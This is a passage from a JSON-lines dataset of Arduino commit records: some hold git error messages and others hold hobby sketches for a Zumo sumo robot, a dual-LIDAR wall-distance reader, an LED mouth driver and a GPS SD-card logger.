network.","repos":"lgramatikov\/celeste","old_file":"CelesteUIEthernet.ino","new_file":"CelesteUIEthernet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a4af7a0aefacf4d696ed9454dc47434462dd1648","subject":"Receiver should now adhere to the iteration delay sent by the transmitter","message":"Receiver should now adhere to the iteration delay sent by the transmitter\n","repos":"hooroo\/moteino_build_lights","old_file":"arduino\/receiver.ino","new_file":"arduino\/receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hooroo\/moteino_build_lights.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"12f929f0549dc0f1a931168d5d5beadd09936495","subject":"checking for opmode changes in pvcloud works. reading distances work too","message":"checking for opmode changes in pvcloud works. reading distances work too\n","repos":"JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud,JulioOrdonezV\/pvcloud","old_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_file":"pvcloud_arduino_library\/examples\/tombo_demo\/tombo_demo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulioOrdonezV\/pvcloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8c88cce633886344d5fe15450473c4fe63b52cfa","subject":"Optimise data types","message":"Optimise data types","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/05.Control\/IfStatementConditional\/IfStatementConditional.ino","new_file":"build\/shared\/examples\/05.Control\/IfStatementConditional\/IfStatementConditional.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 8c88cce633886344d5fe15450473c4fe63b52cfa\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ec8c109ea918b1b215b778bc4fa97576729216cc","subject":"Create bumperexample.ino","message":"Create bumperexample.ino\n\nHere's the example file we created at the workshop today. None of the libraries are included... and this code doesn't work perfectly--there's some issue with the line following where it starts to hug the curve. \r\n\r\nThis is related somehow to its sensor readings. I would put some sort of additional check in the sensor booleans, like \"sensor_values[0] < QTR_THRESHOLD && currentDelay == 0\" maybe. It's something to check out.\r\n\r\nMake sure the threshold is okay.","repos":"chrisfrederickson\/sumo-robot,chrisfrederickson\/sumo-robot","old_file":"bumperexample.ino","new_file":"bumperexample.ino","new_contents":"#include <ZumoBuzzer.h>\n#include <ZumoMotors.h> \n#include <Pushbutton.h>\n#include <QTRSensors.h>\n#include <ZumoReflectanceSensorArray.h>\n#define LED 13 \/\/ this might need to be tuned for different lighting conditions, surfaces, etc. \n#define QTR_THRESHOLD 0 \/\/ microseconds\n\n\/\/ these might need to be tuned for different motor types\n#define REVERSE_SPEED 200 \/\/ 0 is stopped, 400 is full speed\n#define TURN_SPEED 200\n#define FORWARD_SPEED 400\n#define REVERSE_DURATION 100 \/\/ ms \n#define TURN_DURATION 300 \/\/ ms \n\n\/\/ POK\u00eaMON CHAMPION MUSIC \n#define MELODY_LENGTH 95 \nunsigned char note[MELODY_LENGTH] = { NOTE_E(5), SILENT_NOTE, NOTE_E(5), SILENT_NOTE, NOTE_E(5), SILENT_NOTE, NOTE_C(5), NOTE_E(5), NOTE_G(5), SILENT_NOTE, NOTE_G(4), SILENT_NOTE, NOTE_C(5), NOTE_G(4), SILENT_NOTE, NOTE_E(4), NOTE_A(4), NOTE_B(4), NOTE_B_FLAT(4), NOTE_A(4), NOTE_G(4), NOTE_E(5), NOTE_G(5), NOTE_A(5), NOTE_F(5), NOTE_G(5), SILENT_NOTE, NOTE_E(5), NOTE_C(5), NOTE_D(5), NOTE_B(4), NOTE_C(5), NOTE_G(4), SILENT_NOTE, NOTE_E(4), NOTE_A(4), NOTE_B(4), NOTE_B_FLAT(4), NOTE_A(4), NOTE_G(4), NOTE_E(5), NOTE_G(5), NOTE_A(5), NOTE_F(5), NOTE_G(5), SILENT_NOTE, NOTE_E(5), NOTE_C(5), NOTE_D(5), NOTE_B(4), SILENT_NOTE, NOTE_G(5), NOTE_F_SHARP(5), NOTE_F(5), NOTE_D_SHARP(5), NOTE_E(5), SILENT_NOTE, NOTE_G_SHARP(4), NOTE_A(4), NOTE_C(5), SILENT_NOTE, NOTE_A(4), NOTE_C(5), NOTE_D(5), SILENT_NOTE, NOTE_G(5), NOTE_F_SHARP(5), NOTE_F(5), NOTE_D_SHARP(5), NOTE_E(5), SILENT_NOTE, NOTE_C(6), SILENT_NOTE, NOTE_C(6), SILENT_NOTE, NOTE_C(6), SILENT_NOTE, NOTE_G(5), NOTE_F_SHARP(5), NOTE_F(5), NOTE_D_SHARP(5), NOTE_E(5), SILENT_NOTE, NOTE_G_SHARP(4), NOTE_A(4), NOTE_C(5), SILENT_NOTE, NOTE_A(4), NOTE_C(5), NOTE_D(5), SILENT_NOTE, NOTE_E_FLAT(5), SILENT_NOTE, NOTE_D(5), NOTE_C(5) }; \/\/ Measured in MS\n\/* This is the Mario Theme song. Using official sheet music, we can convert bpm and ms to note lengths, then reverse the process *\/\n\nunsigned int duration[MELODY_LENGTH] = { 100, 25, 125, 125, 125, 125, 125, 250, 250, 250, 250, 250, 375, 125, 250, 375, 250, 250, 125, 250, 167, 167, 167, 250, 125, 125, 125, 250, 125, 125, 375, 375, 125, 250, 375, 250, 250, 125, 250, 167, 167, 167, 250, 125, 125, 125, 250, 125, 125, 375, 250, 125, 125, 125, 250, 125, 125, 125, 125, 125, 125, 125, 125, 125, 250, 125, 125, 125, 250, 125, 125, 200, 50, 100, 25, 500, 250, 125, 125, 125, 250, 125, 125, 125, 125, 125, 125, 125, 125, 125, 250, 250, 125, 375, 500 };\nZumoBuzzer buzzer; \nZumoMotors motors;\nPushbutton button(ZUMO_BUTTON); \/\/ pushbutton on pin 12\nunsigned int currentNote;\nunsigned int currentDelay;\nchar currentDir; \n#define NUM_SENSORS 6\nunsigned int sensor_values[NUM_SENSORS];\nZumoReflectanceSensorArray sensors(QTR_NO_EMITTER_PIN);\nvoid waitForButtonAndCountDown() { \n digitalWrite(LED, HIGH); \n button.waitForButton(); \n digitalWrite(LED, LOW); \/\/ play audible countdown\n for (int i = 0; i < 3; i++) {\n buzzer.playNote(NOTE_G(3), 200, 10+i);\n delay(1000);\n } \n delay(1000); \n buzzer.playNote(NOTE_G(4), 500, 15);\n delay(1000);\n}\n\nvoid setup() {\n \/\/ uncomment if necessary to correct motor directions\n \/\/motors.flipLeftMotor(true);\n \/\/motors.flipRightMotor(true); \n pinMode(LED, HIGH);\n currentNote = 0;\n currentDelay = 0;\n currentDir = 'F';\n waitForButtonAndCountDown();\n} \n\nvoid loop() { \n if (button.isPressed()) {\n \/\/ if button is pressed, stop and wait for another press to go again\n motors.setSpeeds(0, 0);\n button.waitForRelease();\n waitForButtonAndCountDown(); \n } \n sensors.read(sensor_values);\n if (currentNote < MELODY_LENGTH && !buzzer.isPlaying()) { \n \/\/ play note at max volume\n \/\/ VOLUME ON A SCALE OF 0-15\n buzzer.playNote(note[currentNote], duration[currentNote], 15);\n currentNote++; \n } else if(currentNote >= MELODY_LENGTH) { \n currentNote = 0;\n } \n \n if (sensor_values[0] < QTR_THRESHOLD) { \n \/\/ if leftmost sensor detects line, reverse and turn to the right \n currentDir = 'R';\n currentDelay = 0; \n } else if (sensor_values[5] < QTR_THRESHOLD) {\n \/\/ if rightmost sensor detects line, reverse and turn to the left\n currentDir = 'L';\n currentDelay = 0; \n } else {\n \/\/ otherwise, go straight \n motors.setSpeeds(FORWARD_SPEED, FORWARD_SPEED);\n currentDir = 'F';\n } \n\n if(currentDir == 'R') {\n if(currentDelay < REVERSE_DURATION) { \n motors.setSpeeds(-REVERSE_SPEED, -REVERSE_SPEED);\n } else if(currentDelay < REVERSE_DURATION + TURN_DURATION) { \n motors.setSpeeds(TURN_SPEED, -TURN_SPEED);\n } else { \n motors.setSpeeds(FORWARD_SPEED, FORWARD_SPEED);\n currentDir = 'F'; \n currentDelay = 0;\n }\n currentDelay++;\n } else if(currentDir == 'L') {\n if(currentDelay < REVERSE_DURATION) { \n motors.setSpeeds(-REVERSE_SPEED, -REVERSE_SPEED);\n } else if(currentDelay < REVERSE_DURATION + TURN_DURATION) {\n motors.setSpeeds(-TURN_SPEED, TURN_SPEED);\n } else { \n motors.setSpeeds(FORWARD_SPEED, FORWARD_SPEED); \n currentDir = 'F'; \n currentDelay = 0; \n } currentDelay++; \n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'bumperexample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"20f999d2f39bfbb449c01a6920ab43e39a82ad3c","subject":"Script using two lidars on one side to get both distance form the center of the vehicle and the heading relative to the wall.","message":"Script using two lidars on one side to get both distance form the center of the vehicle and the heading relative to the wall.\n","repos":"EC544-2015-Group2\/Challenge4,EC544-2015-Group2\/Challenge4","old_file":"LIDAR_DistAndAngle\/LIDAR_DistAndAngle.ino","new_file":"LIDAR_DistAndAngle\/LIDAR_DistAndAngle.ino","new_contents":"\/\/ Two LIDARs on one side\n\n#include <Wire.h>\n#include <math.h>\n\n#define LIDARLite_ADDRESS 0x62 \/\/ Default I2C Address of LIDAR-Lite.\n#define RegisterMeasure 0x00 \/\/ Register to write to initiate ranging.\n#define MeasureValue 0x04 \/\/ Value to initiate ranging.\n#define RegisterHighLowB 0x8f \/\/ Register to get both High and Low bytes in 1 call.\n\nvoid getDist(double (&distArray)[4]);\n\/\/ Variables to store last state\ndouble lastDist0;\ndouble lastDist1;\n\/\/ Variables to store current distances\ndouble dist0;\ndouble dist1;\n\n\/\/Spacing between LIDARs on vehicle\ndouble LIDARspacing = 20;\n\n\/\/ Power enable switches\nconst int switch0 = 12;\nconst int switch1 = 13;\n\n\/\/ # of LIDAR samples\nint samples = 5;\n\n\/\/ Set pi\nconst float pi = 3.142;\n\nvoid setup() {\n \/\/ Initialize power enable pins\n pinMode(switch0, OUTPUT);\n pinMode(switch1, OUTPUT);\n \/\/ Initialize LIDAR0 on and LIDAR1 off\n digitalWrite(switch0, HIGH);\n digitalWrite(switch1, LOW);\n\n \/\/ Begin serial\n Serial.begin(9600);\n \/\/ Open and join irc bus as master\n Wire.begin();\n delay(100);\n\n}\n\nvoid loop() {\n double distArr[4];\n getDist(distArr);\n for (int k = 0; k < 4 ; k++) {\n Serial.println(distArr[k]);\n delay(10);\n }\n Serial.println(\"end\");\n delay(10);\n}\n\n\n\nvoid getDist(double (&distArray)[4]) {\n\n for (int i = 0; i < 2; i++) {\n switch (i) {\n \/\/ case 0 is LIDAR0, case 1 is LIDAR1\n case 0:\n digitalWrite(switch0, LOW);\n digitalWrite(switch1, LOW);\n delay(5);\n digitalWrite(switch0, HIGH);\n delay(5);\n break;\n case 1:\n digitalWrite(switch0, LOW);\n digitalWrite(switch1, LOW);\n delay(5);\n digitalWrite(switch1, HIGH);\n delay(5);\n break;\n }\n \/\/Error checking\n \/\/ Serial.print(\"case: \");\n \/\/ Serial.println(i);\n \/\/--\n\n \/\/ sum distances so that we can average multiple samples\n int distSum = 0;\n int distance;\n\n for (int j = 0; j < samples; j++) {\n distance = 0;\n \/\/ This section from LIDAR Lite Wire example\n \/\/-----------------\/\/\n Wire.beginTransmission((int)LIDARLite_ADDRESS); \/\/ transmit to LIDAR-Lite\n Wire.write((int)RegisterMeasure); \/\/ sets register pointer to (0x00)\n Wire.write((int)MeasureValue); \/\/ sets register pointer to (0x00)\n Wire.endTransmission(); \/\/ stop transmitting\n\n delay(20); \/\/ Wait 20ms for transmit\n\n Wire.beginTransmission((int)LIDARLite_ADDRESS); \/\/ transmit to LIDAR-Lite\n Wire.write((int)RegisterHighLowB); \/\/ sets register pointer to (0x8f)\n Wire.endTransmission(); \/\/ stop transmitting\n\n delay(20); \/\/ Wait 20ms for transmit\n\n Wire.requestFrom((int)LIDARLite_ADDRESS, 2); \/\/ request 2 bytes from LIDAR-Lite\n\n if (2 <= Wire.available()) \/\/ if two bytes were received\n {\n distance = Wire.read(); \/\/ receive high byte (overwrites previous reading)\n distance = distance << 8; \/\/ shift high byte to be high 8 bits\n distance |= Wire.read(); \/\/ receive low byte as lower 8 bits\n }\n \/\/-----------------\/\/\n \/\/low pass filter\n switch (i) {\n case 0:\n if (distance < 0 || distance > 400) {\n distance = lastDist0;\n }\n distance = 0.7 * distance + 0.3 * lastDist0;\n lastDist0 = distance;\n break;\n case 1:\n if (distance < 0 || distance > 400) {\n distance = lastDist1;\n }\n distance = 0.7 * distance + 0.3 * lastDist1;\n lastDist1 = distance;\n break;\n }\n distSum = distSum + distance;\n delay(10);\n }\n if (i == 0) {\n dist0 = distSum \/ samples;\n \/\/Error checking\n \/\/ Serial.print(\"dist0: \");\n \/\/ Serial.println(dist0);\n \/\/--\n \/\/ distArray[0] = dist0 * 1.0;\n } else if (i == 1) {\n dist1 = distSum \/ samples;\n \/\/ Distance calibration for sensor 2\n \/\/ dist1 = 46 + ((88 - 46) \/ (82 - 39)) * (dist1 - 39);\n dist1 = 6.5 + dist1 * (0.98);\n \/\/Error checking\n \/\/ Serial.print(\"dist1: \");\n \/\/ Serial.println(dist1);\n \/\/--\n \/\/ distArray[1] = dist1 * 1.0;\n }\n double angle = atan((dist0 - dist1) \/ LIDARspacing);\n \/\/Error checking\n \/\/ Serial.print(\"angle: \");\n \/\/ Serial.println(angle);\n \/\/--\n distArray[2] = angle;\n double perpDist0 = dist0 * cos(angle);\n distArray[0] = perpDist0;\n double perpDist1 = dist1 * cos(angle);\n distArray[1] = perpDist1;\n double centerDist = (perpDist0 + perpDist1) \/ 2;\n \/\/Error checking\n \/\/ Serial.print(\"centerDist: \");\n \/\/ Serial.println(centerDist);\n \/\/--\n distArray[3] = centerDist;\n delay(10);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LIDAR_DistAndAngle\/LIDAR_DistAndAngle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3dc28baa85b7e9966f41bcaf3bf153a73fa8ae12","subject":"arduino: Added sketch which uses the tlc59xx driver and message interfaces to set variety of colors on the Maki LED mouth","message":"arduino: Added sketch which uses the tlc59xx driver and message interfaces to set variety of colors on the Maki LED mouth\n","repos":"usc-rasc\/maki-led-mouth,usc-rasc\/maki-led-mouth","old_file":"arduino\/maki_led_mouth\/maki_led_mouth.ino","new_file":"arduino\/maki_led_mouth\/maki_led_mouth.ino","new_contents":"#include <arduino.h>\n\n#include \"bit_utils.h\"\n#include \"tlc59xx_driver.h\"\n#include \"tlc59xx_packet.h\"\n\ntypedef tlc59xx::Driver _Driver;\ntypedef tlc59xx::Packet _Packet;\ntypedef tlc59xx::FunctionControlMessage _FunctionControlMsg;\n\n\/\/ use pin 4 for data and pin 6 for clock\n_Driver led_driver( 4, 6 );\n\nvoid setup()\n{\n\/\/\tSerial.begin( 115200 );\n\t\/\/ keep inputs from floating and declare pin use case\n\tled_driver.initialize();\n\n\t_Packet packet;\n\n\t\/\/ reset function flags\n\tpacket.function_control_msg_.setGrayscaleClockSource( _FunctionControlMsg::GrayscaleClockSource::INTERNAL_CLOCK );\n\tpacket.function_control_msg_.setOutputTiming( _FunctionControlMsg::OutputTiming::RISING_EDGE );\n\tpacket.function_control_msg_.setTimingResetMode( _FunctionControlMsg::TimingResetMode::RESET_DISABLED );\n\tpacket.function_control_msg_.setDisplayRepeatMode( _FunctionControlMsg::DisplayRepeatMode::REPEAT_DISABLED );\n\tpacket.function_control_msg_.setBlankMode( _FunctionControlMsg::BlankMode::OUTPUTS_DISABLED );\n\n\t\/\/ zero-out brightness\n\tpacket.global_brightness_control_msg_.setValues( 0, 0, 0 );\n\n\t\/\/ sero-out colors\n\tpacket.grayscale_control_msg_array_[0].setValues( 0, 0, 0 );\n\tpacket.grayscale_control_msg_array_[1].setValues( 0, 0, 0 );\n\tpacket.grayscale_control_msg_array_[2].setValues( 0, 0, 0 );\n\tpacket.grayscale_control_msg_array_[3].setValues( 0, 0, 0 );\n\n\t\/\/ send a copy of the packet for each IC (last IC is addressed first)\n\tfor( uint8_t chip_idx = 0; chip_idx < 5; ++chip_idx )\n\t{\n\t\tpacket.send( led_driver );\n\t}\n\n\t\/\/ delay to trigger latch pulse\n\tdelay( 1 );\n}\n\nvoid loop()\n{\n\/\/\tSerial.println( \">>>>>>>>>>\" );\n\t_Packet packet;\n\n\t\/\/ set function flags\n\t\/\/ use internal clock for duty cycle\n\tpacket.function_control_msg_.setGrayscaleClockSource( _FunctionControlMsg::GrayscaleClockSource::INTERNAL_CLOCK );\n\t\/\/ turn LEDs on at rising edge of duty cycle clock\n\tpacket.function_control_msg_.setOutputTiming( _FunctionControlMsg::OutputTiming::RISING_EDGE );\n\t\/\/ automatically reset the internal PWM counter (used to simulate analog duty cycle) during a latch pulse\n\tpacket.function_control_msg_.setTimingResetMode( _FunctionControlMsg::TimingResetMode::RESET_ENABLED );\n\t\/\/ automatically repeat the latched data if no updates were made in a given display cycle\n\tpacket.function_control_msg_.setDisplayRepeatMode( _FunctionControlMsg::DisplayRepeatMode::REPEAT_ENABLED );\n\t\/\/ enable current-sinking outputs\n\tpacket.function_control_msg_.setBlankMode( _FunctionControlMsg::BlankMode::OUTPUTS_ENABLED );\n\n\t\/\/ set current limit for each channel (R, G, B)\n\t\/\/ the values here were selected to ensure the overall current would remain below 900 mA when all LEDs are at 25% duty cycle\n\tpacket.global_brightness_control_msg_.setValues( 75, 75, 75 );\n\n\t\/\/ for each IC\n\t\/\/ display a color pallete\n\t\/\/ keep in mind that the 0th chip is the nth chip in the data path (farthest from the data\/clock source)\n\t\/\/ and the nth chip is the first chip in the data path\n\tfor( uint8_t chip_idx = 0; chip_idx < 5; ++chip_idx )\n\t{\n\t\tif( chip_idx == 4 )\n\t\t{\n\t\t\t\/\/ set the RGB values for each output group [0-4] on the current IC\n\t\t\tpacket.grayscale_control_msg_array_[0].setValuesPercent( 0.25f, 0.25f, 0.25f );\n\t\t\tpacket.grayscale_control_msg_array_[1].setValuesPercent( 0.25f, 0.0f, 0.0f );\n\t\t\tpacket.grayscale_control_msg_array_[2].setValuesPercent( 0.0f, 0.25f, 0.0f );\n\t\t\tpacket.grayscale_control_msg_array_[3].setValuesPercent( 0.0f, 0.0f, 0.25f );\n\t\t}\n\t\telse if( chip_idx == 3 )\n\t\t{\n\t\t\t\/\/ set the RGB values for each output group [0-4] on the current IC\n\t\t\tpacket.grayscale_control_msg_array_[0].setValuesPercent( 0.25f, 0.25f, 0.0f );\n\t\t\tpacket.grayscale_control_msg_array_[1].setValuesPercent( 0.0f, 0.0, 0.0 );\n\t\t\tpacket.grayscale_control_msg_array_[2].setValuesPercent( 0.0f, 0.25f, 0.25f );\n\t\t\tpacket.grayscale_control_msg_array_[3].setValuesPercent( 0.25f, 0.0f, 0.25f );\n\t\t}\n\t\telse if( chip_idx == 2 )\n\t\t{\n\t\t\t\/\/ set the RGB values for each output group [0-4] on the current IC\n\t\t\tpacket.grayscale_control_msg_array_[0].setValuesPercent( 0.25f, 0.125f, 0.0f );\n\t\t\tpacket.grayscale_control_msg_array_[1].setValuesPercent( 0.125f, 0.25f, 0.0f );\n\t\t\tpacket.grayscale_control_msg_array_[2].setValuesPercent( 0.0f, 0.25f, 0.125f );\n\t\t\tpacket.grayscale_control_msg_array_[3].setValuesPercent( 0.0f, 0.125f, 0.25f );\n\t\t}\n\t\telse if( chip_idx == 1 )\n\t\t{\n\t\t\t\/\/ set the RGB values for each output group [0-4] on the current IC\n\t\t\tpacket.grayscale_control_msg_array_[0].setValuesPercent( 0.25f, 0.0f, 0.125f );\n\t\t\tpacket.grayscale_control_msg_array_[1].setValuesPercent( 0.125f, 0.0f, 0.25f );\n\t\t\tpacket.grayscale_control_msg_array_[2].setValuesPercent( 0.9f, 0.9f, 0.9f );\n\t\t\tpacket.grayscale_control_msg_array_[3].setValuesPercent( 0.7f, 0.7f, 0.7f );\n\t\t}\n\t\telse \/\/ chip_idx == 0\n\t\t{\n\t\t\t\/\/ set the RGB values for each output group [0-4] on the current IC\n\t\t\tpacket.grayscale_control_msg_array_[0].setValuesPercent( 0.5f, 0.5f, 0.5f );\n\t\t\tpacket.grayscale_control_msg_array_[1].setValuesPercent( 0.3f, 0.3f, 0.3f );\n\t\t\tpacket.grayscale_control_msg_array_[2].setValuesPercent( 0.0f, 0.0, 0.0 );\n\t\t\tpacket.grayscale_control_msg_array_[3].setValuesPercent( 0.1f, 0.1f, 0.1f );\n\t\t}\n\n\t\t\/\/ toggle the OutputTiming bit on every other IC to avoid noise from nearby ICs\n\t\tif( chip_idx % 2 == 0 ) packet.function_control_msg_.setOutputTiming( _FunctionControlMsg::OutputTiming::RISING_EDGE );\n\t\telse packet.function_control_msg_.setOutputTiming( _FunctionControlMsg::OutputTiming::FALLING_EDGE );\n\n\t\t\/\/ write out the entire packet (need to do this once for each IC)\n\t\tpacket.send( led_driver );\n\t}\n\n\t\/\/ delay to trigger latch pulse\n\tdelay( 1 );\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/maki_led_mouth\/maki_led_mouth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"95a3c17a58b1121afb87e8c1dc3302625205ccb4","subject":"copy gps sketch to 20140808_kayak_depth","message":"copy gps sketch to 20140808_kayak_depth\n","repos":"walkerjeffd\/riffle-ito-apps","old_file":"analyses\/20140808_kayak_depth\/ino\/uno_gps\/uno_gps.ino","new_file":"analyses\/20140808_kayak_depth\/ino\/uno_gps\/uno_gps.ino","new_contents":"#include <stdlib.h>\n#include <SPI.h>\n#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n#include <SD.h>\n#include <avr\/sleep.h>\n\n\/\/ Ladyada's logger modified by Bill Greiman to use the SdFat library\n\/\/\n\/\/ This code shows how to listen to the GPS module in an interrupt\n\/\/ which allows the program to have more 'freedom' - just parse\n\/\/ when a new NMEA sentence is available! Then access data when\n\/\/ desired.\n\/\/\n\/\/ Tested and works great with the Adafruit Ultimate GPS Shield\n\/\/ using MTK33x9 chipset\n\/\/ ------> http:\/\/www.adafruit.com\/products\/\n\/\/ Pick one up today at the Adafruit electronics shop \n\/\/ and help support open source hardware & software! -ada\n\n\/\/ ref: https:\/\/github.com\/adafruit\/Adafruit-GPS-Library\/blob\/master\/examples\/due_shield_sdlog\/due_shield_sdlog.ino\n\nSoftwareSerial mySerial(8, 7);\nAdafruit_GPS GPS(&mySerial);\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences\n#define GPSECHO false\n\/* set to true to only log to SD when GPS has a fix, for debugging, keep it false *\/\n#define LOG_FIXONLY false \n\n\/\/ this keeps track of whether we're using the interrupt\n\/\/ off by default!\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\n\/\/ Set the pins used\n#define chipSelect 10\n#define ledPin 13\n\nFile logfile;\n\n\/\/ read a Hex value and return the decimal equivalent\nuint8_t parseHex(char c) {\n if (c < '0')\n return 0;\n if (c <= '9')\n return c - '0';\n if (c < 'A')\n return 0;\n if (c <= 'F')\n return (c - 'A')+10;\n}\n\n\/\/ blink out an error code\nvoid error(uint8_t errno) {\n\/*\n if (SD.errorCode()) {\n putstring(\"SD error: \");\n Serial.print(card.errorCode(), HEX);\n Serial.print(',');\n Serial.println(card.errorData(), HEX);\n }\n *\/\n while(1) {\n uint8_t i;\n for (i=0; i<errno; i++) {\n digitalWrite(ledPin, HIGH);\n delay(100);\n digitalWrite(ledPin, LOW);\n delay(100);\n }\n for (i=errno; i<10; i++) {\n delay(200);\n }\n }\n}\n\nvoid setup() {\n \/\/ for Leonardos, if you want to debug SD issues, uncomment this line\n \/\/ to see serial output\n \/\/while (!Serial);\n \n \/\/ connect at 115200 so we can read the GPS fast enough and echo without dropping chars\n \/\/ also spit it out\n Serial.begin(115200);\n Serial.println(\"\\r\\nUltimate GPSlogger Shield - CSV\");\n pinMode(ledPin, OUTPUT);\n\n \/\/ make sure that the default chip select pin is set to\n \/\/ output, even if you don't use it:\n pinMode(10, OUTPUT);\n \n \/\/ see if the card is present and can be initialized:\n \/\/ if (!SD.begin(chipSelect, 11, 12, 13)) {\n if (!SD.begin(chipSelect)) { \/\/ if you're using an UNO, you can use this line instead\n Serial.println(\"Card init. failed!\");\n error(2);\n }\n char filename[15];\n strcpy(filename, \"GPSLOG00.CSV\");\n for (uint8_t i = 0; i < 100; i++) {\n filename[6] = '0' + i\/10;\n filename[7] = '0' + i%10;\n \/\/ create if does not exist, do not open existing, write, sync after write\n if (! SD.exists(filename)) {\n break;\n }\n }\n\n logfile = SD.open(filename, FILE_WRITE);\n if( ! logfile ) {\n Serial.print(\"Couldnt create \"); Serial.println(filename);\n error(3);\n }\n Serial.print(\"Writing to \"); Serial.println(filename);\n \n \/\/ connect to the GPS at the desired rate\n GPS.begin(9600);\n\n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \/\/ uncomment this line to turn on only the \"minimum recommended\" data\n \/\/GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);\n \/\/ For logging data, we don't suggest using anything but either RMC only or RMC+GGA\n \/\/ to keep the log files at a reasonable size\n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 or 5 Hz update rate\n\n \/\/ Turn off updates on antenna status, if the firmware permits it\n \/\/ GPS.sendCommand(PGCMD_NOANTENNA);\n \n \/\/ Request updates on antenna status, comment out to keep quiet\n GPS.sendCommand(PGCMD_ANTENNA);\n\n \/\/ the nice thing about this code is you can have a timer0 interrupt go off\n \/\/ every 1 millisecond, and read data from the GPS for you. that makes the\n \/\/ loop code a heck of a lot easier!\n useInterrupt(true);\n\n delay(1000);\n \/\/ Ask for firmware version\n mySerial.println(PMTK_Q_RELEASE);\n \n Serial.println(\"Ready!\");\n \n \/\/ adding the headers seems to break the sd card\n\/\/ logfile.println(\"DATETIME_UTC,FIX,FIX_QUALITY,LATITUDE,LONGITUDE,SPEED,ANGLE,ALTITUDE,NUM_SATELLITES\");\n\/\/ Serial.println(\"DATETIME_UTC,FIX,FIX_QUALITY,LATITUDE,LONGITUDE,SPEED,ANGLE,ALTITUDE,NUM_SATELLITES\");\n\n}\n\n\n\/\/ Interrupt is called once a millisecond, looks for any new GPS data, and stores it\nSIGNAL(TIMER0_COMPA_vect) {\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n#ifdef UDR0\n if (GPSECHO)\n if (c) UDR0 = c; \n \/\/ writing direct to UDR0 is much much faster than Serial.print \n \/\/ but only one character can be written at a time. \n#endif\n}\n\nvoid useInterrupt(boolean v) {\n if (v) {\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function above\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n usingInterrupt = true;\n } else {\n \/\/ do not call the interrupt function COMPA anymore\n TIMSK0 &= ~_BV(OCIE0A);\n usingInterrupt = false;\n }\n}\n\nuint32_t timer = millis();\nvoid loop() {\n \/\/ make a string for assembling the data to log:\n String dataString = \"\";\n \n \/\/ in case you are not using the interrupt above, you'll\n \/\/ need to 'hand query' the GPS, not suggested :(\n if (! usingInterrupt) {\n \/\/ read data from the GPS in the 'main loop'\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n if (GPSECHO)\n if (c) Serial.print(c);\n }\n \n \/\/ if a sentence is received, we can check the checksum, parse it...\n if (GPS.newNMEAreceived()) {\n \/\/ a tricky thing here is if we print the NMEA sentence, or data\n \/\/ we end up not listening and catching other sentences! \n \/\/ so be very wary if using OUTPUT_ALLDATA and trying to print out data\n \/\/Serial.println(GPS.lastNMEA()); \/\/ this also sets the newNMEAreceived() flag to false\n \n if (!GPS.parse(GPS.lastNMEA())) \/\/ this also sets the newNMEAreceived() flag to false\n return; \/\/ we can fail to parse a sentence in which case we should just wait for another\n \n \/\/ if millis() or timer wraps around, we'll just reset it\n if (timer > millis()) timer = millis();\n \n \/\/ approximately every 2 seconds or so, print out the current stats\n if (millis() - timer > 2000) { \n timer = millis(); \/\/ reset the timer\n\n logfile.print(\"20\");\n logfile.print(GPS.year, DEC);\n logfile.print(\"-\");\n logfile.print(GPS.month, DEC);\n logfile.print(\"-\");\n logfile.print(GPS.day, DEC);\n logfile.print(\" \");\n logfile.print(GPS.hour, DEC);\n logfile.print(\":\");\n logfile.print(GPS.minute, DEC);\n logfile.print(\":\");\n logfile.print(GPS.seconds, DEC);\n logfile.print(\".\");\n logfile.print(GPS.milliseconds);\n logfile.print(\",\"); \n logfile.print((int)GPS.fix);\n logfile.print(\",\"); \n 